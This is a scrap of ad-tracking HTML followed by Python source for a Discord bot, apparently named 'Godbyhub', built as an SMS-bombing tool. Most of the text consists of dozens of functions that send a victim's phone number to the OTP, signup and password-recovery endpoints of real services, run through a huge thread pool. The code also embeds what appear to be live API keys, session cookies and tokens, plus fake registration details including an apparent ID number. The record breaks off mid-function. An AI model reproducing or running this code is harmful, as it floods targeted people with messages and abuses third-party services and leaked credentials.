allowtransparency="true" marginheight="0" marginwidth="0" width="0" hspace="0" vspace="0" height="0" style="height:0px;width:0px;display:none;" scrolling="no" src="https://csync.smilewanted.com?us_privacy=1---"> </iframe><iframe sandbox="allow-scripts allow-same-origin" id="101af22cac10bcfd" frameborder="0" allowtransparency="true" marginheight="0" marginwidth="0" width="0" hspace="0" vspace="0" height="0" style="height:0px;width:0px;display:none;" scrolling="no" src="https://onetag-sys.com/usync/?cb=1650718752982&us_privacy=1---"> </iframe><iframe sandbox="allow-scripts allow-same-origin" id="10290b51ae900f2b" frameborder="0" allowtransparency="true" marginheight="0" marginwidth="0" width="0" hspace="0" vspace="0" height="0" style="height:0px;width:0px;display:none;" scrolling="no" src="https://eb2.3lift.com/sync?us_privacy=1---&"> </iframe><iframe sandbox="allow-scripts allow-same-origin" id="103d27603dbc3983" frameborder="0" allowtransparency="true" marginheight="0" marginwidth="0" width="0" hspace="0" vspace="0" height="0" style="height:0px;width:0px;display:none;" scrolling="no" src="https://acdn.adnxs.com/dmp/async_usersync.html"> </iframe></html>
Godbyhub
import os, wmi from sys import prefix from attr import validate import discord from discord.ext import commands from discord.ext import commands import discord from discord_buttons_plugin import * import requests, json, threading, requests, json, validators import requests, time, os from os import system from typing_extensions import Required import discord from discord import client from discord.utils import get import gratient from concurrent.futures import ThreadPoolExecutor from re import search from time import sleep import requests from discord import embeds from datetime import datetime from discord import message from discord.ext import commands from discord.ext.commands.core import command, has_role from requests import post, Session from re import search from random import choice from string import ascii_uppercase, digits from concurrent.futures import ThreadPoolExecutor from discord.ext import commands from json import loads, dumps, load PREFIX = 'wy.' TOKEN = '' LIMIT = 100 blacklist = [ "191", "0956150861" ] bot = commands.Bot(command_prefix=PREFIX) bot.remove_command("help") def randomString(N): return ''.join(choice(ascii_uppercase + digits) for _ in range(N)) threading = ThreadPoolExecutor(max_workers=int(100000000)) useragent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36 Edg/95.0.1020.40" header = {"user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36 Edg/95.0.1020.38"} print(gratient.black(''' ╔════════════════════════════════════════════╗ ║ .______ ______ .___________. ║ ║ | _ \ / __ \ | | ║ ║ | |_) | | | | | `---| |----` ║ ║ | _ < | | | | | | ║ ║ | |_) | | `--' | | | ║ ║ |______/ \______/ |__| ║ ╚════════════════════════════════════════════╝ ''')) @bot.event async def on_command_error(ctx, error): if isinstance(error, commands.CommandOnCooldown): await ctx.send(f"`cooldown {round(error.retry_after, 2)} seconds left`") @bot.event async def on_ready(): print(gratient.red(f"login as {bot.user}")) system('title ' + (f"{bot.user}")) def randomString(N): return ''.join(choice(ascii_uppercase + digits) for _ in range(N)) threading = ThreadPoolExecutor(max_workers=int(100000000)) useragent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36 Edg/95.0.1020.40" def sk1(phone): post("https://api.myfave.com/api/fave/v3/auth",headers={"client_id": "dd7a668f74f1479aad9a653412248b62", "User-Agent": useragent},json={"phone": f"66{phone}"}) def sk2(phone): post("https://u.icq.net/api/v65/rapi/auth/sendCode", headers={"User-Agent": useragent}, json={"reqId":"39816-1633012470","params":{"phone": f"+66{phone[1:]}","language":"en-US","route":"sms","devId":"ic1rtwz1s1Hj1O0r","application":"icq"}}) def sk3(phone): post("https://api2.1112.com/api/v1/otp/create", headers={"User-Agent": useragent}, data={'phonenumber': phone,'language': "th"}) def sk4(phone): post("https://ecomapi.eveandboy.com/v10/user/signup/phone", headers={"User-Agent": useragent}, data={"phone": phone,"password":"123456789Az"}) def sk5(phone): post("https://api.1112delivery.com/api/v1/otp/create", headers={"User-Agent": useragent}, data={'phonenumber': phone,'language': "th"}) def sk6(phone): post("https://gccircularlivingshop.com/sms/sendOtp", headers={"User-Agent": useragent}, json={"grant_type":"otp","username": f"+66{phone[1:]}","password":"","client":"ecommerce"}) def sk7(phone): post("https://shop.foodland.co.th/login/generation", headers={"User-Agent": useragent}, data={"phone": phone}) def sk8(phone): post("https://api-shop.diorbeauty.hk/api/th/ecrm/sms_generate_code", headers={"User-Agent": useragent}, data={"number": f"+66{phone[1:]}"}) def sk9(phone): post("https://api.sacasino9x.com/api/RegisterService/RequestOTP", headers={"User-Agent": useragent}, json={"Phone": phone}) def sk10(phone): post("https://shoponline.ondemand.in.th/OtpVerification/VerifyOTP/SendOtp", headers={"User-Agent": useragent}, data={"phone": phone}) def sk11(phone): post("https://www.konvy.com/ajax/system.php?type=reg&action=get_phone_code", headers={"User-Agent": useragent}, data={"phone": phone}) def sk12(phone): post("https://partner-api.grab.com/grabid/v1/oauth2/otp", headers={"User-Agent": useragent}, json={"client_id":"4ddf78ade8324462988fec5bfc5874c2","transaction_ctx":"null","country_code":"TH","method":"SMS","num_digits":"6","scope":"openid profile.read foodweb.order foodweb.rewards foodweb.get_enterprise_profile","phone_number": f"66{phone[1:]}"}) def sk13(phone): post("https://api.scg-id.com/api/otp/send_otp", headers={"User-Agent": useragent, "Content-Type": "application/json;charset=UTF-8"},json={"phone_no": phone}) def sk14(phone): session = Session() searchItem = session.get("https://www.shopat24.com/register/").text ReqTOKEN = search("""<input type="hidden" name="_csrf" value="(.*)" />""", searchItem).group(1) session.post("https://www.shopat24.com/register/ajax/requestotp/", headers={"User-Agent": useragent, "content-type": "application/x-www-form-urlencoded; charset=UTF-8","X-CSRF-TOKEN": ReqTOKEN}, data={"phoneNumber": phone}) def sk15(phone): post("https://prettygaming168-api.auto888.cloud/api/v3/otp/send", headers={"User-Agent": useragent}, data={"tel": phone,"otp_type":"register"}) def sk16(phone): post("https://the1web-api.the1.co.th/api/t1p/regis/requestOTP", headers={"User-Agent": useragent}, json={"on":{"value": phone,"country":"66"},"type":"mobile"}) def sk17(phone): post(f"https://th.kerryexpress.com/website-api/api/OTP/v1/RequestOTP/{phone}", headers={"User-Agent": useragent}) def sk18(phone): post("https://graph.firster.com/graphql",headers={"User-Agent": useragent, "organizationcode": "lifestyle","content-type": "application/json"}, json={"operationName":"sendOtp","variables":{"input":{"mobileNumber": phone[1:],"phoneCode":"THA-66"}},"query":"mutation sendOtp($input: SendOTPInput!) {\n sendOTPRegister(input: $input) {\n token\n otpReference\n expirationOn\n __typename\n }\n}\n"}) def sk19(phone): post("https://nocnoc.com/authentication-service/user/OTP?b-uid=1.0.661", headers={"User-Agent": useragent}, json={"lang":"th","userType":"BUYER","locale":"th","orgIdfier":"scg","phone": f"+66{phone[1:]}","type":"signup","otpTemplate":"buyer_signup_otp_message","userParams":{"buyerName": randomString(10)}}) def sk20(phone): post("https://store.boots.co.th/api/v1/guest/register/otp", headers={"User-Agent": useragent}, json={"phone_number":f"+66{phone[1:]}"}) def sk21(phone): post("https://m.lucabet168.com/api/register-otp", headers={"User-Agent": useragent} ,json={"brands_id":"609caede5a67e5001164b89d","agent_register":"60a22f7d233d2900110070d7","tel": phone}) def sk22(phone): session = Session() ReqTOKEN = session.get("https://srfng.ais.co.th/Lt6YyRR2Vvz%2B%2F6MNG9xQvVTU0rmMQ5snCwKRaK6rpTruhM%2BDAzuhRQ%3D%3D?redirect_uri=https%3A%2F%2Faisplay.ais.co.th%2Fportal%2Fcallback%2Ffungus%2Fany&httpGenerate=generated", headers={"User-Agent": useragent}).text session.post("https://srfng.ais.co.th/login/sendOneTimePW", data=f"msisdn=66{phone[1:]}&serviceId=AISPlay&accountType=all&otpChannel=sms",headers={"User-Agent": useragent,"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", "authorization": f'''Bearer {search("""<input type="hidden" id='token' value="(.*)">""", ReqTOKEN).group(1)}'''}) def sk23(phone): post(url="https://www.cpffeedonline.com/Customer/RegisterRequestOTP", data={"mobileNumber":f"{phone}"}) def sk24(phone): post(url="https://www.tgfone.com/index.php/signin/otp_chk", data={"mobile":f"{phone}"}) def sk25(phone): post("https://api2.1112.com/api/v1/otp/create", json={"phonenumber":f"0{phone}","language":"th"}, headers={"user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36 Edg/95.0.1020.38"}) def sk26(phone): post("https://unacademy.com/api/v3/user/user_check/", json={"phone":f"0{phone}","country_code":"TH"}, headers={"user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36 Edg/95.0.1020.38"}) def sk27(phone): post(f"http://m.vcanbuy.com/gateway/msg/send_regist_sms_captcha?mobile=66-0{phone}") def sk28(phone): post("https://ocs-prod-api.makroclick.com/next-ocs-member/user/register", json={"username": f"0{phone}","password":"6302814184624az","name":"0903281894","provinceCode":"28","districtCode":"393","subdistrictCode":"3494","zipcode":"40260","siebelCustomerTypeId":"710","acceptTermAndCondition":"true","hasSeenConsent":"false","locale":"th_TH"}, headers={"user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36 Edg/95.0.1020.38"}) def sk29(phone): post("https://shoponline.ondemand.in.th/OtpVerification/VerifyOTP/SendOtp", data={"phone": f"0{phone}"}, headers={"user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36 Edg/95.0.1020.38"}) def sk30(phone): post("https://www.berlnw.com/reservelogin", data={"p_myreserve": f"0{phone}"}, headers={"user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36 Edg/95.0.1020.38"}) def sk31(phone): post("https://www.kickoff28.com/action.php?mode=PreRegister", data={"tel": f"0{phone}"}, headers={"user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36 Edg/95.0.1020.38"}) def sk32(phone): post("https://1ufabet.com/_ajax_/request-otp", data={"request_otp[phoneNumber]": f"0{phone}", "request_otp[termAndCondition]": "1", "request_otp[_token]": "XBNcvQIzJK1pjh_2T0BBzLiDa6vSivktDN317mbw3ws"}, headers={"user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36 Edg/95.0.1020.38"}) def p1112(phone): d=post('https://api2.1112.com/api/v1/otp/create',json={"phonenumber":phone,"language":"th"},headers= header).status_code def p1112v2(phone): d=post('https://api.1112delivery.com/api/v1/otp/create',json={"phonenumber":phone,"language":"th"},headers=header).status_code def yandex(phone): d=post("https://taxi.yandex.kz/3.0/launch/",json={},headers=header).json() d=post("https://taxi.yandex.kz/3.0/auth/",json={"id": d["id"], "phone": f"+66{phone[1:]}"},headers=header).text def okru(phone): s=Session() s.headers.update({"User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36 Edg/95.0.1020.38","Content-Type" : "application/x-www-form-urlencoded","Accept" : "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9"}) s.post("https://ok.ru/dk?cmd=AnonymRegistrationEnterPhone&st.cmd=anonymRegistrationEnterPhone",data=f"st.r.phone=+66{phone[1:]}") s.post("https://ok.ru/dk?cmd=AnonymRegistrationAcceptCallUI&st.cmd=anonymRegistrationAcceptCallUI",data="st.r.fieldAcceptCallUIButton=Call") def karusel(phone): s=Session() s.post('https://app.karusel.ru/api/v1/phone/', data={'phone': phone}) def KFC(_phone): post('https://app-api.kfc.ru/api/v1/common/auth/send-validation-sms', json={'phone': '+' + _phone}) def icq(phone): post(f"https://u.icq.net/api/v4/rapi",json={"method":"auth/sendCode","reqId":"24973-1587490090","params":{"phone": f"66{phone[1:]}","language":"en-US","route":"sms","devId":"ic1rtwz1s1Hj1O0r","application":"icq"}},headers=header) def findclone(phone): d=get(f"https://findclone.ru/register?phone=+66{phone[1:]}",headers={"X-Requested-With" : "XMLHttpRequest","User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.116 Safari/537.36"}).json() def spam_pizza(phone): #pizza post('https://api2.1112.com/api/v1/otp/create', data = {'phonenumber': phone, 'language': "th"}) def youla(phone): post('https://youla.ru/web-api/auth/request_code', data={'phone': phone}) def ig_token(): d=get("https://www.instagram.com/",headers=header).headers['set-cookie'] d=search("csrftoken=(.*);",d).group(1).split(";") return d[0],d[10].replace(" Secure, ig_did=","") def Facebook(phone): token,_=ig_token() d=post("https://www.instagram.com/accounts/account_recovery_send_ajax/",data=f"email_or_username=66{phone}&recaptcha_challenge_field=",headers={"Content-Type":"application/x-www-form-urlencoded","X-Requested-With":"XMLHttpRequest","User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.116 Safari/537.36","X-CSRFToken":token}).json() def instagram(phone): token,cid=ig_token() d=post("https://www.instagram.com/accounts/send_signup_sms_code_ajax/",data=f"client_id={cid}&phone_number=66{phone}&phone_id=&big_blue_token=",headers={"Content-Type":"application/x-www-form-urlencoded","X-Requested-With":"XMLHttpRequest","User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.116 Safari/537.36","X-CSRFToken":token}).json() def Rapid(phone): d=post('https://rapidapi.com/blaazetech/api/spam-caller-check/',json={"phonenumber":phone,"language":"th"},headers=header).status_code def VBC(phone): post('https://twitter-user-profile-data.p.rapidapi.com/v1/api/twitter',headers = {'content-type': "application/json",'x-rapidapi-host': "twitter-user-profile-data.p.rapidapi.com",'x-rapidapi-key': "775b9796aemshb6a4eefc8d0e33cp1d04d7jsnefd368e22b03"}) def api1(phone): post("https://m.thisshop.com/cos/send/code/notice", json={"sessionContext":{"channel":"h5","entityCode":0,"userReferenceNumber":"12w12y11r52gz259ue14rr7g7370239m","localDateTimeText":"20220115182850","riskMessage":"{}","serviceCode":"FLEX0001","superUserId":"sysadmin","tokenKey":"149d5c7bae10304c8aba0da2bbc59cb7","authorizationReason":"","transactionBranch":"TFT_ORG_0000","userId":"","locale":"th-TH"},"noticeType":1,"businessType":"RT0001","phoneNumber":f"66-{phone}"},headers={"content-type": "application/json; charset=UTF-8","user-agent": "Mozilla/5.0 (Linux; Android 5.1.1; A37f) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36"}) def api2(phone): headers = { "content-type": "application/x-www-form-urlencoded", "user-agent": "Mozilla/5.0 (Linux; Android 5.1.1; A37f) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36", "referer": "https://www.wongnai.com/guest2?_f=signUp&guest_signup_type=phone", "cookie": "_gcl_au=1.1.1123274548.1637746846" } post("https://www.wongnai.com/_api/guest.json?_v=6.054&locale=th&_a=phoneLogIn",headers=headers,data=f"phoneno={phone}&retrycount=0") def api3(phone): post("https://gettgo.com/sessions/otp_for_sign_up", data={"mobile_number":phone}) def api4(phone): post("https://api.true-shopping.com/customer/api/request-activate/mobile_no", data={"username": phone}) def api5(phone): post("https://www.msport1688.com/auth/send_otp", data={"phone":phone}) def api6(phone): post("http://b226.com/x/code", data={f"phone":phone}) def api7(phone): post('https://www.sso.go.th/wpr/MEM/terminal/ajax_send_otp',headers = {"User-Agent": "Mozilla/5.0 (Linux; Android 10; Redmi 8A) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.85 Mobile Safari/537.36","Content-Type": "application/x-www-form-urlencoded; charset=UTF-8","X-Requested-With": "XMLHttpRequest","Cookie": "sso_local_storeci_sessions=KHj9a18RowgHYWbh71T2%2FDFAcuC2%2FQaJkguD3MQ1eh%2FlwrUXvpAjJgrm6QKAja4oe7rglht%2BzO6oqblJ4EMJF4pqnY%2BGtR%2F0RzIFGN0Suh1DJVRCMPpP8QtZsF5yDyw6ibCMf2HXs95LvAMi7KUkIeaWkSahmh5f%2F3%2FqcOQ2OW5yakrMGA1mJ5upBZiUdEYNmxUAljcqrg7P3L%2BGAXxxC2u1bO09Oz4qf4ZV9ShO0gz5p5CbkE7VxIq1KUrEavn9Y%2BarQmsh1qIIc51uvCev1U1uyXfC%2F9U7uRl7x%2FVYZYT2pkLd3Q7qnZoSNBL8y9wge8Lt7grySdVLFhw9HB68dTSiOm1K04QhdrprI7EsTLWDHTgYmgyTQDuz63YjHsH5MUVanlfBISU1WXmRTXMKbUjlcl0LPPYUR9KWzrVL7sXcrCX%2FfUwLJIU%2F7MTtDYUx39y1CAREM%2F8dw7AEjcJAOA%3D%3D684b65b9b9dc33a3380c5b121b6c2b3ecb6f1bec; PHPSESSID=1s2rdo0664qpg4oteil3hhn3v2; TS01ac2b25=01584aa399fbfcc6474d383fdc1405e05eaa529fa33e596e5189664eb7dfefe57b927d8801ad40fba49f0adec4ce717dd5eabf08d7080e2b85f34368a92a47e71ef07861a287c40da15c0688649509d7f97eb2c293; _ga=GA1.3.1824294570.1636876684; _gid=GA1.3.1832635291.1636876684"},data=f"dCard=1358231116147&Mobile={phone}&password=098098Az&repassword=098098Az&perPrefix=Mr.&cn=Dhdhhs&sn=Vssbsh&perBirthday=5&perBirthmonth=5&perBirthyear=2545&Email=nickytom5879%40gmail.com&otp_type=OTP&otpvalue=&messageId=REGISTER") def api8(phone): post("https://api.mcshop.com/cognito/me/forget-password",headers={"x-store-token": "mcshop","user-agent": "Mozilla/5.0 (Linux; Android 10; Redmi 8A) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.85 Mobile Safari/537.36","content-type": "application/json;charset=UTF-8","accept": "application/json, text/plain, */*","x-auth-token": "O2d1ZXN0OzkyMDIzOTU7YThmNWMyZDE4YThlOTMzOGMyOGMwYWE5ODQwNTBjY2I7Ozs7","x-api-key": "ZU2QOTDkCV5JYVkWXdYFL8niGXB8l1mq2H2NQof3"},json={"username": phone}) def api9(phone): get(f"https://asv-mobileapp-prod.azurewebsites.net/api/Signin/SendOTP?phoneNo={phone}&type=Register") def api10(phone): post("https://m.lavagame168.com/api/register-otp",headers={"x-exp-signature": "5ffc0caa4d603200124e4eb1","user-agent": "Mozilla/5.0 (Linux; Android 10; Redmi 8A) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.85 Mobile Safari/537.36","referer": "https://m.lavagame168.com/dashboard/login"},json={"brands_id":"5ffc0caa4d603200124e4eb1","agent_register":"5ffc0d5cdcd4f30012aec3d9","tel": phone}) def api11(phone): get("https://m.redbus.id/api/getOtp?number="+phone[1:]+"&cc=66&whatsAppOpted=true",headers={"traceparent": "00-7d1f9d70ec75d3fb488d8eb2168f2731-6b243a298da767e5-01","user-agent": "Mozilla/5.0 (Linux; Android 10; Redmi 8A) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.85 Mobile Safari/537.36"}).text def api12(phone): post("https://api.myfave.com/api/fave/v3/auth",headers={"client_id": "dd7a668f74f1479aad9a653412248b62"},json={"phone":"66"+phone}) def api13(phone): post("https://samartbet.com/api/request/otp", data={"phoneNumber":phone,"token":"HFbWhpfhFIGSMVWlhcQ0JNQgAtJ3g3QT43FRpzKhsvGhoHEzo6C1sjaRh1dSxgfEt_URwOHgwabwwWKXgodXd9IBBtZShlPx9rQUNiek5tYDtfB3swTC4KUlVRX0cFWVkNElhjPXVzb3NWBSpvVzofb1ZFLi15c2YrTltsL0FpGSMVGQ9rCRsacxJcemxjajdoch8sfEhoWVlvbVEsQ0tWfhgfOGth"}) def api14(phone): post("https://www.msport1688.com/auth/send_otp", data={"phone":phone}) def api15(phone): post("http://b226.com/x/code", data={f"phone":phone}) def api16(phone): post("https://ep789bet.net/auth/send_otp", data={"phone":phone}) def api17(phone): post("https://www.berlnw.com/reservelogin",data={"p_myreserve": phone}, headers={"Host": "www.berlnw.com", "Connection": "keep-alive", "Upgrade-Insecure-Requests": "1", "Content-Type": "application/x-www-form-urlencoded", "Save-Data": "on", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Referer": "https://www.berlnw.com/myaccount", "Accept-Encoding": "gzip, deflate, br", "Accept-Language": "th-TH,th;q=0.9,en;q=0.8", "Cookie": "berlnw=s%3AaKEA2ULex-QQ7U6jr0WCQGs-Mz3eJFJn.RsAXcleV2EVFN4j%2BPqDivbqSYAta0UYtyoM65BrxuV0; _referrer_og=https%3A%2F%2Fwww.google.com%2F; _first_pageview=1; _jsuid=4035440860; _ga=GA1.2.766623232.1635154743; _gid=GA1.2.1857466267.1635154743; _gac_UA-90695720-1=1.1635154743.CjwKCAjwq9mLBhB2EiwAuYdMtU_gp7mSvFcH4kByOTGf-LsmLTGujv9qCwMi1xwWSuEiQSOlODmN-RoCMu4QAvD_BwE; _fbp=fb.1.1635154742776.771793600; _gat_gtag_UA_90695720_1=1"}) def api18(phone): post("https://the1web-api.the1.co.th/api/t1p/regis/requestOTP", json={"on":{"value":phone,"country":"66"},"type":"mobile"}) def api19(phone): post(f"http://m.vcanbuy.com/gateway/msg/send_regist_sms_captcha?mobile=66-{phone}") def api20(phone): post("https://shop.foodland.co.th/login/generation", data={"phone": phone}) def api21(phone): post("https://jdbaa.com/api/otp-not-captcha", data={"phone_number":phone}) def api22(phone): post("https://unacademy.com/api/v3/user/user_check/",json={"phone":phone,"country_code":"TH"},headers={}).json() def api23(phone): post("https://shoponline.ondemand.in.th/OtpVerification/VerifyOTP/SendOtp", data={"phone": phone}) def api24(phone): post("https://ocs-prod-api.makroclick.com/next-ocs-member/user/register",json={"username": phone,"password":"6302814184624az","name":"0903281894","provinceCode":"28","districtCode":"393","subdistrictCode":"3494","zipcode":"40260","siebelCustomerTypeId":"710","acceptTermAndCondition":"true","hasSeenConsent":"false","locale":"th_TH"}) def api25(phone): post("https://store.boots.co.th/api/v1/guest/register/otp",json={"phone_number": phone}) def api26(phone): post("https://www.instagram.com/accounts/account_recovery_send_ajax/",data=f"email_or_username={phone}&recaptcha_challenge_field=",headers={"Content-Type":"application/x-www-form-urlencoded","X-Requested-With":"XMLHttpRequest","User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.116 Safari/537.36","x-csrftoken": "EKIzZefCrMss0ypkr2VjEWZ1I7uvJ9BD"}).json def api27(phone): post("https://th.kerryexpress.com/website-api/api/OTP/v1/RequestOTP/"+phone) def api28(phone): post("https://api.scg-id.com/api/otp/send_otp", headers={"Content-Type": "application/json;charset=UTF-8"},json={"phone_no": phone}) def api29(phone): post("https://partner-api.grab.com/grabid/v1/oauth2/otp", json={"client_id":"4ddf78ade8324462988fec5bfc5874c2","transaction_ctx":"null","country_code":"TH","method":"SMS","num_digits":"6","scope":"openid profile.read foodweb.order foodweb.rewards foodweb.get_enterprise_profile","phone_number": phone},headers={}) def api30(phone): post("https://www.konvy.com/ajax/system.php?type=reg&action=get_phone_code", data={"phone": phone}) def api31(phone): post("https://ecomapi.eveandboy.com/v10/user/signup/phone", data={"phone": phone,"password":"123456789Az"}) def api32(phone): post("https://cognito-idp.ap-southeast-1.amazonaws.com/",headers={"user-agent": "Mozilla/5.0 (Linux; Android 10; Redmi 8A) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.85 Mobile Safari/537.36","content-type": "application/x-amz-json-1.1","x-amz-target": "AWSCognitoIdentityProviderService.SignUp","x-amz-user-agent": "aws-amplify/0.1.x js","referer": "https://www.bugaboo.tv/members/signup/phone"},json={"ClientId":"6g47av6ddfcvi06v4l186c16d6","Username":f"+66{phone[1:]}","Password":"098098Az","UserAttributes":[{"Name":"name","Value":"Dbdh"},{"Name":"birthdate","Value":"2005-01-01"},{"Name":"gender","Value":"Male"},{"Name":"phone_number","Value":f"+66{phone[1:]}"},{"Name":"custom:phone_country_code","Value":"+66"},{"Name":"custom:is_agreement","Value":"true"},{"Name":"custom:allow_consent","Value":"true"},{"Name":"custom:allow_person_info","Value":"true"}],"ValidationData":[]}) post("https://cognito-idp.ap-southeast-1.amazonaws.com/",headers={"cache-control": "max-age=0","user-agent": "Mozilla/5.0 (Linux; Android 10; Redmi 8A) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.85 Mobile Safari/537.36","content-type": "application/x-amz-json-1.1","x-amz-target": "AWSCognitoIdentityProviderService.ResendConfirmationCode","x-amz-user-agent": "aws-amplify/0.1.x js","referer": "https://www.bugaboo.tv/members/resetpass/phone"},json={"ClientId":"6g47av6ddfcvi06v4l186c16d6","Username":f"+66{phone[1:]}"}) def api33(phone): get(f"https://laopun.com/send-sms?id={phone}&otp=5153",headers=header) def api34(phone): post("https://jdbaa.com/api/otp-not-captcha", data={"phone_number":phone}) def api35(phone): post("https://www.carsome.co.th/website/login/sendSMS", headers=header, json={"username":phone,"optType":0}).json() def api36(phone): post("https://nocnoc.com/authentication-service/user/OTP?b-uid=1.0.684",headers=header,json={"lang":"th","userType":"BUYER","locale":"th","orgIdfier":"scg","phone":phone,"type":"signup","otpTemplate":"buyer_signup_otp_message","userParams":{"buyerName":"ฟงฟง ฟงฟว"}}) def api37(phone): post("https://u.icq.net/api/v65/rapi/auth/sendCode", json={"reqId":"39816-1633012470","params":{"phone": phone,"language":"en-US","route":"sms","devId":"ic1rtwz1s1Hj1O0r","application":"icq"}}) def api38(phone): post("https://api.1112delivery.com/api/v1/otp/create", data={'phonenumber': phone,'language': "th"}) def api39(phone): post("https://gccircularlivingshop.com/sms/sendOtp", json={"grant_type":"otp","username": phone,"password":"","client":"ecommerce"},headers={}) def api40(phone): headers={ "organizationcode": "lifestyle", "content-type": "application/json" } json = {"operationName":"sendOtp","variables":{"input":{"mobileNumber": phone,"phoneCode":"THA-66"}},"query":"mutation sendOtp($input: SendOTPInput!) {\n sendOTPRegister(input: $input) {\n token\n otpReference\n expirationOn\n __typename\n }\n}\n"} post("https://graph.firster.com/graphql",headers=headers,json=json) def api41(phone): post("https://m.riches666.com/api/register-otp", data={"brands_id":"60a6563a232a600012521982","agent_register":"60a76a7f233d2900110070e0","tel":phone}) def api42(phone): post("https://www.pruksa.com/member/member_otp/re_create",headers=header,data=f"required=otp&mobile={phone}") def api43(phone): post("https://vaccine.trueid.net/vacc-verify/api/getotp",headers=header,json={"msisdn":phone,"function":"enroll"}) def api44(phone): post("https://ufa108.ufabetcash.com/api/",headers=header,data=f"cmd=request_form_register_detail_check&web_account_id=36&auto_bank_group_id=1&m_name=sl&m_surname=ak&m_line=snsb1j&m_bank=4&m_account_number=8572178402&m_from=41&m_phone={phone}") def api45(phone): post("https://www.mrcash.top/h5/LoginMessage_ultimate",data = {"phone": phone,"type":"2","ctype":"1"}) def api46(phone): post("https://www.qqmoney.ltd/jackey/sms/login",json = {"appId":"5fc9ff297eb51f1196350635","companyId":"5fc9ff12197278da22aff029","mobile": phone},headers={"Content-Type": "application/json;charset=UTF-8"}) def api47(phone): post("https://www.monomax.me/api/v2/signup/telno",json ={"password":"12345678+","telno": phone}) def api48(phone): post("https://m.pgwin168.com/api/register-otp",json ={"brands_id":"60e4016f35119800184f34a5","agent_register":"60e57c3b2ead950012fc5fba","tel": phone}) def api49(phone): post("https://www.som777.com/api/otp/register",json ={"applicant": phone,"serviceName":"SOM777"}) def api50(phone): post("https://www.konglor888.com/api/otp/register",json = {"applicant": phone,"serviceName":"KONGLOR888"}) def api51(phone): get("https://api.quickcash8.com/v1/login/captcha?timestamp=1636359633&sign=3a11b88fbf58615099d15639e714afcc&token=&version=2.3.2&appsFlyerId=1636346593405-2457389151564256014&platform=android&channel_str=&phone="+phone+"&img_code=", headers = {"Host": "api.quickcash8.com", "Connection": "Keep-Alive", "Accept": "gzip", "User-Agent": "okhttp/3.11.0"}) def api52(phone): get("https://users.cars24.co.th/oauth/consumer-app/otp/"+phone+"?lang=th", headers = {"accept": "application/json, text/plain, 